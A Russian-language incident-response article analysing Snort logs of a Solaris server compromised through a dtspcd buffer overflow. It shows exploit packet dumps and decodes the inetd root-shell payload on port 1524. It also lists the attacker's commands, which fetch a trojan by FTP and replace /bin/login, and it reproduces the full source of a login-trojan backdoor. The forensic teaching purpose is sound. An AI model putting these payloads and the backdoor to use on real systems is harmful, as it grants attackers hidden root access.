В этой статье рассматриваются шаги, необходимые для полного анализа атакованной машины. А точнее, мы будем исследовать инструмент, использованный как эксплойт для уязвимости переполнения буфера dtspcd, позволяющий удаленно получить root доступ к системе. Цель статьи – продемонстрировать значение IDS логов при проведении анализа системы.
SHAMS, по материалам SecurityFocus
Был атакован подключенный к сети сервер Sun Solaris, при помощи эксплойта службы dtspcd в CDE, Motif графической оболочки для Unix систем. Вы – старший сотрудник отдела, отвечающего за информационную безопасность вашей компании, и вам необходимо выяснить, как и кем был атакован сервер. Используя только бинарный файл Snort с удаленного лог сервера, вы должны провести анализ всех лог файлов IDS и исследовать файловую систему.
В этой статье рассматриваются шаги, необходимые для полного анализа атакованной машины. А точнее, мы будем исследовать инструмент, использованный как эксплойт для уязвимости переполнения буфера dtspcd, позволяющий удаленно получить root доступ к системе. Цель статьи – продемонстрировать значение IDS логов при проведении анализа системы.
В этой статье освещаются техника и методы, используемые для анализа проблемы. В этом исследовании будет использован бинарный файл Snort, щедро предоставленный Lance Spitzner и Honeynet Project.
После скачивания бинарного файла Snort, я немедленно начал работу. Сначала я распаковал логи Snort и проверил формат, в котором они были захвачены.
-bash-2.05b$ tar -zxvf 0108@000-snort.log.tar.gz -bash-2.05b$ file 0108@000-snort.log tcpdump capture file (big-endian) - version 2.4 (Ethernet, capture length 1514)
Как только я увидел пакеты, то сразу начал понимать что произошло. Детальные объяснения будут приведены ниже.
14:46:04.378306 adsl-61-1-160.dab.bellsouth.net.3592 > 172.16.1.102.6112: P 1:14 49(1448) ack 1 win 16060 <nop,nop,timestamp 463986683 4158792> (DF) 0x0000 4500 05dc a1ac 4000 3006 241c d03d 01a0 E.....@.0.$..=.. 0x0010 ac10 0166 0e08 17e0 fee2 c115 5f66 192f ...f........_f./ 0x0020 8018 3ebc e1e9 0000 0101 080a 1ba7 dffb ..>............. 0x0030 003f 7548 3030 3030 3030 3032 3034 3130 .?uH000000020410 0x0040 3365 3030 3031 2020 3420 0000 0031 3000 3e0001..4....10. 0x0050 801c 4011 801c 4011 1080 0101 801c 4011 .@...@.......@. 0x0060 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@. 0x0070 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@. 0x0080 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@. 0x0090 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@. 0x00a0 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@. 0x00b0 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@. 0x00c0 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@. 0x00d0 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@. 0x00e0 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@. 0x00f0 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@. [logs cut short due to repeated patterns]
Бесполезная информация в этом пакете это символ “@”. Шестнадцатиричное (0x801c4011) является инструкцией NOP для архитектуры Sparc. Более известная инструкция NOP 0x90 работает только на машинах i386. Что такое NOP проход? Эксплойт заполняет буфер, когда неизвестно, где начинается код. И если эксплойт укажет в любое место области, заполненной NOP инструкциями, процессор проследует до конца этой области и перейдет к исполняемому коду.
Затем я использовал tcpdump для вывода в читабельной форме шестнадцатиричных дампов каждого пакета, посланного по этому IP адресу.
-bash-2.05b$ tcpdump -X -r 0108@000-snort.log host 172.16.1.102
Просматривая логи дальше, я нашел пакет, ответственный за выполнение кода на сервере:
[beginning of packet removed due to NOP slides] 0x04d0 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@. 0x04e0 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@. 0x04f0 20bf ffff 20bf ffff 7fff ffff 9003 e034 ...............4 0x0500 9223 e020 a202 200c a402 2010 c02a 2008 .#...........*.. 0x0510 c02a 200e d023 ffe0 e223 ffe4 e423 ffe8 .*...#...#...#.. 0x0520 c023 ffec 8210 200b 91d0 2008 2f62 696e .#........../bin 0x0530 2f6b 7368 2020 2020 2d63 2020 6563 686f /ksh....-c..echo 0x0540 2022 696e 6772 6573 6c6f 636b 2073 7472 ."ingreslock.str 0x0550 6561 6d20 7463 7020 6e6f 7761 6974 2072 eam.tcp.nowait.r 0x0560 6f6f 7420 2f62 696e 2f73 6820 7368 202d oot./bin/sh.sh.- 0x0570 6922 3e2f 746d 702f 783b 2f75 7372 2f73 i">/tmp/x;/usr/s 0x0580 6269 6e2f 696e 6574 6420 2d73 202f 746d bin/inetd.-s./tm 0x0590 702f 783b 736c 6565 7020 3130 3b2f 6269 p/x;sleep.10;/bi 0x05a0 6e2f 726d 202d 6620 2f74 6d70 2f78 2041 n/rm.-f./tmp/x.A 0x05b0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0x05c0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0x05d0 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAA
Исполняемый код:
./bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh - i"/tmp/x;/usr/sbin/inetd -s /tmp/x;sleep 10;/bin/rm -f /tmp/x
Как мы видим, эксплойт использует Korn шелл для создания файла x в директории /tmp. В этом файле создается запись вида inetd.conf. Потом запускается демон inetd, используя файл /tmp/x как конфигурационный. Это создает root шел на 1524/tcp порту. Этот порт имеет длинный список эксплойт шелов, которые к нему присоединяются, включая rpc.cmds, statd и tooltalk. Как вы видите, dtspcd находится в хорошей компании.
Первый шаг анализа завершен. Теперь мы выяснили, как атакующий получил доступ к системе. Теперь можно просмотреть логи по второму разу, собирая всю информацию, относящуюся к 1524/tcp порту, по которому атакующий наверняка открывал какое-нибудь соединение (скорее всего telnet) для посылки команд серверу.
14:46:18.398427 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock: P 1:209(208) ack 1 win 16060 <nop,nop,timestamp 463988091 4160200> (DF) 0x0000 4500 0104 a1cc 4000 3006 28d4 d03d 01a0 E.....@.0.(..=.. 0x0010 ac10 0166 0e0c 05f4 fff7 8025 5fbb 0117 ...f.......%_... 0x0020 8018 3ebc 5082 0000 0101 080a 1ba7 e57b ..>.P..........{ 0x0030 003f 7ac8 756e 616d 6520 2d61 3b6c 7320 .?z.uname.-a;ls. 0x0040 2d6c 202f 636f 7265 202f 7661 722f 6474 -l./core./var/dt 0x0050 2f74 6d70 2f44 5453 5043 442e 6c6f 673b /tmp/DTSPCD.log; 0x0060 5041 5448 3d2f 7573 722f 6c6f 6361 6c2f PATH=/usr/local/ 0x0070 6269 6e3a 2f75 7372 2f62 696e 3a2f 6269 bin:/usr/bin:/bi 0x0080 6e3a 2f75 7372 2f73 6269 6e3a 2f73 6269 n:/usr/sbin:/sbi 0x0090 6e3a 2f75 7372 2f63 6373 2f62 696e 3a2f n:/usr/ccs/bin:/ 0x00a0 7573 722f 676e 752f 6269 6e3b 6578 706f usr/gnu/bin;expo 0x00b0 7274 2050 4154 483b 6563 686f 2022 4244 rt.PATH;echo."BD 0x00c0 2050 4944 2873 293a 2022 6070 7320 2d66 .PID(s):."`ps.-f 0x00d0 6564 7c67 7265 7020 2720 2d73 202f 746d ed|grep.'.-s./tm 0x00e0 702f 7827 7c67 7265 7020 2d76 2067 7265 p/x'|grep.-v.gre 0x00f0 707c 6177 6b20 277b 7072 696e 7420 2432 p|awk.'{print.$2 0x0100 7d27 600a }'`.
Этот пакет показывает выполненные команды во время соединения с 1524/tcp портом.
Выполненный код.
uname -a;ls -l /core/var/dt/tmp/DTSPCD.log; PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/ccs/bin: /usr/gnu/bin;export PATH;echo "BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`
Очевидно что это была автоматическая команда, выполняемая после соединения с атакуемой системой. Мы можем сказать это, исходя из указанного времени Snort пакета. Мы знаем, что команда была выполнена точно в 14:46:18.398427 (это видно из приведенного выше дампа). Далее по логам видно, что команда была обработана и выполнена в течении одной секунды.
Этот пакет следует за описанной автоматической командой:
14:46:18.399867 172.16.1.102.6112 > adsl-61-1-160.dab.bellsouth.net.3595: . ack 4180 win 24616 <nop,nop,timestamp 4160216 463988091> (DF) 0x0000 4500 0034 6aa0 4000 3f06 51d0 ac10 0166 E..4j.@.?.Q....f 0x0010 d03d 01a0 17e0 0e0b 5f82 f43f fee0 9c9b .=......_..?.... 0x0020 8010 6028 05dd 0000 0101 080a 003f 7ad8 ..`(.........?z. 0x0030 1ba7 e57b ...{ 14:46:18.400270 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596: . ack 209 win 24408 <nop,nop,timestamp 4160216 463988091> (DF) 0x0000 4500 0034 6aa1 4000 3f06 51cf ac10 0166 E..4j.@.?.Q....f 0x0010 d03d 01a0 05f4 0e0c 5fbb 0117 fff7 80f5 .=......_....... 0x0020 8010 5f58 2617 0000 0101 080a 003f 7ad8 .._X&........?z. 0x0030 1ba7 e57b ...{ 14:46:18.421722 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596: P 1:3(2) ack 209 win 24616 <nop,nop,timestamp 4160218 463988091> (DF) 0x0000 4500 0036 6aa2 4000 3f06 51cc ac10 0166 E..6j.@.?.Q....f 0x0010 d03d 01a0 05f4 0e0c 5fbb 0117 fff7 80f5 .=......_....... 0x0020 8018 6028 021b 0000 0101 080a 003f 7ada ..`(.........?z. 0x0030 1ba7 e57b 2320 ...{#. 14:46:18.502830 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock: . ack 3 win 16060 <nop,nop,timestamp 463988109 4160218> (DF) 0x0000 4500 0034 a1ce 4000 3006 29a2 d03d 01a0 E..4..@.0.)..=.. 0x0010 ac10 0166 0e0c 05f4 fff7 80f5 5fbb 0119 ...f........_... 0x0020 8010 3ebc 469d 0000 0101 080a 1ba7 e58d ..>.F........... 0x0030 003f 7ada .?z. 14:46:18.505611 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596: P 3:98(95) ack 209 win 24616 <nop,nop,timestamp 4160227 463988109> (DF) 0x0000 4500 0093 6aa3 4000 3f06 516e ac10 0166 E...j.@.?.Qn...f 0x0010 d03d 01a0 05f4 0e0c 5fbb 0119 fff7 80f5 .=......_....... 0x0020 8018 6028 2401 0000 0101 080a 003f 7ae3 ..`($........?z. 0x0030 1ba7 e58d 5375 6e4f 5320 6275 7a7a 7920 ....SunOS.buzzy. 0x0040 352e 3820 4765 6e65 7269 635f 3130 3835 5.8.Generic_1085 0x0050 3238 2d30 3320 7375 6e34 7520 7370 6172 28-03.sun4u.spar 0x0060 6320 5355 4e57 2c55 6c74 7261 2d35 5f31 c.SUNW,Ultra-5_1 0x0070 300a 2f63 6f72 653a 204e 6f20 7375 6368 0./core:.No.such 0x0080 2066 696c 6520 6f72 2064 6972 6563 746f .file.or.directo 0x0090 7279 0a ry. 14:46:18.610945 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock: . ack 98 win 16060 <nop,nop,timestamp 463988120 4160227< (DF) 0x0000 4500 0034 a1cf 4000 3006 29a1 d03d 01a0 E..4..@.0.)..=.. 0x0010 ac10 0166 0e0c 05f4 fff7 80f5 5fbb 0178 ...f........_..x 0x0020 8010 3ebc 462a 0000 0101 080a 1ba7 e598 ..>.F*.......... 0x0030 003f 7ae3 .?z. 14:46:18.612370 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596: P 98:148(50) ack 209 win 24616 <nop,nop,timestamp 4160237 463988120> (DF) 0x0000 4500 0066 6aa4 4000 3f06 519a ac10 0166 E..fj.@.?.Q....f 0x0010 d03d 01a0 05f4 0e0c 5fbb 0178 fff7 80f5 .=......_..x.... 0x0020 8018 6028 83ff 0000 0101 080a 003f 7aed ..`(.........?z. 0x0030 1ba7 e598 2f76 6172 2f64 742f 746d 702f ..../var/dt/tmp/ 0x0040 4454 5350 4344 2e6c 6f67 3a20 4e6f 2073 DTSPCD.log:.No.s 0x0050 7563 6820 6669 6c65 206f 7220 6469 7265 uch.file.or.dire 0x0060 6374 6f72 790a ctory. 14:46:18.710415 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock: . ack 148 win 16060 (DF) 0x0000 4500 0034 a1d1 4000 3006 299f d03d 01a0 E..4..@.0.)..=.. 0x0010 ac10 0166 0e0c 05f4 fff7 80f5 5fbb 01aa ...f........_... 0x0020 8010 3ebc 45e4 0000 0101 080a 1ba7 e5a2 ..>.E........... 0x0030 003f 7aed .?z. 14:46:18.801409 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596: P 148:164(16) ack 209 win 24616 <nop,nop,timestamp 4160256 463988130> (DF) 0x0000 4500 0044 6aa5 4000 3f06 51bb ac10 0166 E..Dj.@.?.Q....f 0x0010 d03d 01a0 05f4 0e0c 5fbb 01aa fff7 80f5 .=......_....... 0x0020 8018 6028 9c52 0000 0101 080a 003f 7b00 ..`(.R.......?{. 0x0030 1ba7 e5a2 4244 2050 4944 2873 293a 2033 ....BD.PID(s):.3 0x0040 3437 360a 476. 14:46:18.901413 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock: . ack 164 win 16060 <nop,nop,timestamp 463988149 4160256> (DF) 0x0000 4500 0034 a1d3 4000 3006 299d d03d 01a0 E..4..@.0.)..=.. 0x0010 ac10 0166 0e0c 05f4 fff7 80f5 5fbb 01ba ...f........_... 0x0020 8010 3ebc 45ae 0000 0101 080a 1ba7 e5b5 ..>.E........... 0x0030 003f 7b00 .?{.
Я привел только несколько из большого количества команд, выполненных нарушителем. Ниже приведены несколько команд, выполненных вручную при помощи интерактивного шела. Я различаю автоматически выполняемые команды и команды, выполняемые вручную по времени между командами.
Команды, введенные вручную, были посланы после отработки автоматических команд. Каждая команда и ответ показаны ниже:
# w 8:47am up 11:24, 0 users, load average: 0.12, 0.04, 0.02 User tty login@ idle JCPU PCPU what # unset HISTFILE # cd /tmp mkdir /usr/lib # mkdir: Failed to make directory "/usr/lib"; File exists # mv /bin/login /usr/lib/libfl.k # ftp 64.224.118.115 ftp ftp: ioctl(TIOCGETP): Invalid argument Password:a@ cd pub binary get sun1 bye Name (64.224.118.115:root): # # ls ps_data sun1 # chmod 555 sun1 # mv sun1 /bin/login
Вышеприведенные команды были исследованы дальше при помощи опции Ethereal, Follow TCP Stream.
220 widcr0004atl2.interland.net FTP server (Version wu-2.6.2(1) Tue Jan 8 07:50:31 EST 2002) ready. USER ftp 331 Guest login ok, send your complete e-mail address as password. PASS a@ 230 Guest login ok, access restrictions apply. CWD pub 250 CWD command successful. TYPE I 200 Type set to I. PORT 172,16,1,102,130,234 200 PORT command successful. RETR sun1 150 Opening BINARY mode data connection for sun1 (90544 bytes). 226 Transfer complete. QUIT 221-You have transferred 90544 bytes in 1 files. 221-Total traffic for this session was 91042 bytes in 1 transfers. 221-Thank you for using the FTP service on widcr0004atl2.interland.net. 221 Goodbye.
Как мы видим, атакующий установил ftp соединение с удаленной машиной и получил файл “sun1”. Как только ftp соединение было закрыто, он изменил разрешения для файла “sun1” и переименовал его в “/bin/login”.
Чтобы взглянуть на это еще ближе, я опять использовал tcpdump для просмотра всех пакетов, прошедших по ftp порту.
bash-2.05$ tcpdump -X -r 0108@000-snort.log port ftp-data
Судя по последней команде нарушителя, это выглядит как видоизмененная программа /bin/login, скорее всего содержащая возможность нелегального входа. Я решил еще раз взглянуть на логи Snort, используя Ethereal для воспроизведения программы sun1, что позволило бы мне выяснить точнее, что это за программа.
Используя такую возможность Ethereal, как TCP Recovery, я открыл файл Snort, правым кнопкой мыши щелкнул на одном из пакетов FTP-DATA и выбрал TCP Stream из появившихся опций. Затем я сохранил файл с именем “sun1” в формате ASCII.
После сохранения файла, я проанализировал команды в файле, запустив:
-bash-2.05b$ file sun1 sun1: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Мы знаем, что sun1 файл был скомпилирован в операционной системе SUN. Дополнительная отладочная информация, которая могла бы помочь нам при использовании команды strings, была удалена. Для чего предназначался этот файл? Давайте это выясним.
Заметьте также, что файл слинкован статически. Это значит, что эта программа не производит вызовов функций из библиотек, находящихся на этой машине. Поэтому код полностью мобильный и может запускаться на разных системах. Для начала используем команду strings и посмотрим, что мы сможем вытащить.
-bash-2.05b$ strings sun1 | more
Мы получили довольно много информации в результате работы команды. Всего около 1245 строк. Просматривая последовательность печатаемых символов, выдаваемую командой strings, я заметил следующие строки:
DISPLAY /usr/lib/libfl.k pirc /bin/sh
Используя полученную информацию, я попробовал экспортировать pirc в переменную
DISPLAY, используя команду bash bash-2.05b$ DISPLAY=pirc. Запустив программу
при помощи
truss, системной команды, используемой для отслеживания
системных вызовов процесса или программы, мне не пришлось запускать бинарный
файл на
Sun, для сбора дополнительной информации.
Так что же мы узнали об этой программе? Очевидно, что файл
sun1
является заменой программы
login и предоставляет возможность нелегального
входа в систему. Когда нарушитель получает доступ к системе, он переименовывает
оригинальный /
bin/
login в /
usr/
lib/
libfl.
k
и заменяет его файлом
sun1. Скорее всего, троян/врапер /
bin/
login
не будет журналировать соединения с использованием потайного пароля.
Проверяя восстановленный файл при помощи
strings(), мы можем
видеть, что файл как-то связан с “/
usr/
lib/
libfl.
k”,
оригинальной программой
login. Мне кажется, что таким образом программа
проверяет какие-то специфичные настройки переменной
DISPLAY. В
этом случае я думаю, что ключом для активации потайного входа является “
pirc”.
Если секретный ключ не набран, то программа передает управление оригинальной
программе
login.
Я решил произвести быстрый поиск на предмет исходников этой программы.
В надежде получить дополнительную информацию. Я зашел на
Packet
Storm и произвел поиск по словам “
rootkit
trojan DISPLAY pirc”. Результат поиска:
4d5c12f579e07686a1b350c0064601f4 |
|
Universal login trojan - Login trojan for pretty much any O/S. Tested on Linux, BSDI 2.0, FreeBSD, IRIX 6.x, 5.x, Sunos 5.5,5.6,5.7, and OSF1/DGUX4.0. Works by checking the DISPLAY environment variable before passing the session to the real login binary. Homepage here. By Tragedy |
Из приведенного описания, очевидно,
что программа
ulogin.
c и есть тот
самый бинарный файл
sun1,
восстановленный по логам
Snort.
Ниже приведен исходный код программы
ulogin.c, найденный на Packet Storm.
/* * PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! * Universal login trojan by Tragedy/Dor * Email: rawpower@iname.com * IRC: [Dor]@ircnet * * Login trojan for pretty much any O/S... * Tested on: Linux, BSDI 2.0, FreeBSD, IRIX 6.x, 5.x, Sunos 5.5,5.6,5.7 * OSF1/DGUX4.0, * Known not to work on: * SunOS 4.x and 5.4... Seems the only variable passwd to login * on these versions of SunOS is the $TERM... and its passed via * commandline option... should be easy to work round in time * * #define PASSWORD - Set your password here * #define _PATH_LOGIN - This is where you moved the original login to * login to hacked host with... * from bourne shell (sh, bash) sh DISPLAY="your pass";export DISPLAY;telnet host * */ #include <stdio.h> #if !defined(PASSWORD) #define PASSWORD "j4l0n3n" #endif #if !defined(_PATH_LOGIN) # define _PATH_LOGIN "/bin/login" #endif main (argc, argv, envp) int argc; char **argv, **envp; { char *display = getenv("DISPLAY"); if ( display == NULL ) { execve(_PATH_LOGIN, argv, envp); perror(_PATH_LOGIN); exit(1); } if (!strcmp(display,PASSWORD)) { system("/bin/sh"); exit(1); } execve(_PATH_LOGIN, argv, envp); exit(1); }
Завершающий анализ двоичного файла.
Как видно из исходников, атакующий использовал следующую команду, чтобы заставить потайной вход работать корректно.
from bourne shell (sh, bash) sh DISPLAY="your pass";export DISPLAY;telnet host
На основании этой информации, можно догадаться, как программа предоставляет пользователю root шел. Программа вызывает оригинальный login, указанный в исходнике эксплойта, в случае если переменная DISPLAY не установлена правильно.
# define _PATH_LOGIN "/bin/login"
Просматривая полезную нагрузку эксплойта после успешного переполнения буфера, мы можем просмотреть команды выполненные нарушителем.
Reference: FTP SESSION ANALYSIS
"./bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh -i" /tmp/x;/usr/sbin/inetd -s /tmp/x;sleep 10;/bin/rm -f /tmp/x"
Приведенная команда была выполнена нарушитилем. Мы видим как нарушитель создал root шел на порту 1524, используя inetd. Эта команда состоит из четырех команд. Рассмотрим что делает каждая.
./bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh -i"/tmp/x;
Эта команда использует шел Korn для создания файла /tmp/x с одной записью конфигурации inetd. Файл /tmp/x содержит следующую конфигурационную строку «ingreslock stream tcp nowait root /bin/sh sh –I».
/usr/sbin/inetd -s /tmp/x;
Затем производится попытка запустить inetd, используя /tmp/x в качестве конфигурационного файла.
sleep 10;
Следующая команда говорит системе подождать 10 секунд, чтобы позволить inetd перезапуститься с новой конфигурацией.
/bin/rm -f /tmp/x
Эта команда просто удаляет файл /tmp/x, использовавшийся как конфигурационный файл для запуска inetd.
Растет необходимость в проявлении увеличенной бдительности при анализе системы с или без логов IDS. Реальность осталась той же самой: пренебрежение к постоянным изменениям и модернизации инструментов, используемых хакерами. Факт, что Snort и другие системы IDS на сегодняшний день ограничены обнаружением на основе сигнатур. Если используется неизвестный эксплойт, то единственным свидетельством преступления являются журналы системы и приложений. Очень важно убедиться, что лог файлы хранятся в неприкосновенности на удаленной системе для дальнейшего исследования.
Отслеживая лог файлы системы и используя системы обнаружения вторжений, таких как Snort, в больших и малых сетях, системные администраторы могут получить дополнительную информацию, чтобы потом вернуться и выяснить что же все-таки произошло.
tcpdump – tcpdump выводит заголовки пакетов сетевого интерфейса, соответствующие логическому выражению.
Ethereal - графический анализатор сетевого протокола. Позволяет интерактивно просматривать данные пакетов работающей сети или из предварительно сохраненных файлов.
File – утилита выполняет три вида тестов: тест файловой системы, тест magic numbers, тест на язык, и после этого выводит тип файла.
Strings – для каждого файла, GNU strings выводит последовательности печатных символов длинной больше четырех, оканчивающиеся непечатным символом.
Truss – утилита для отслеживания системных вызовов, производимыми процессом или программой.
Наш канал — питательная среда для вашего интеллекта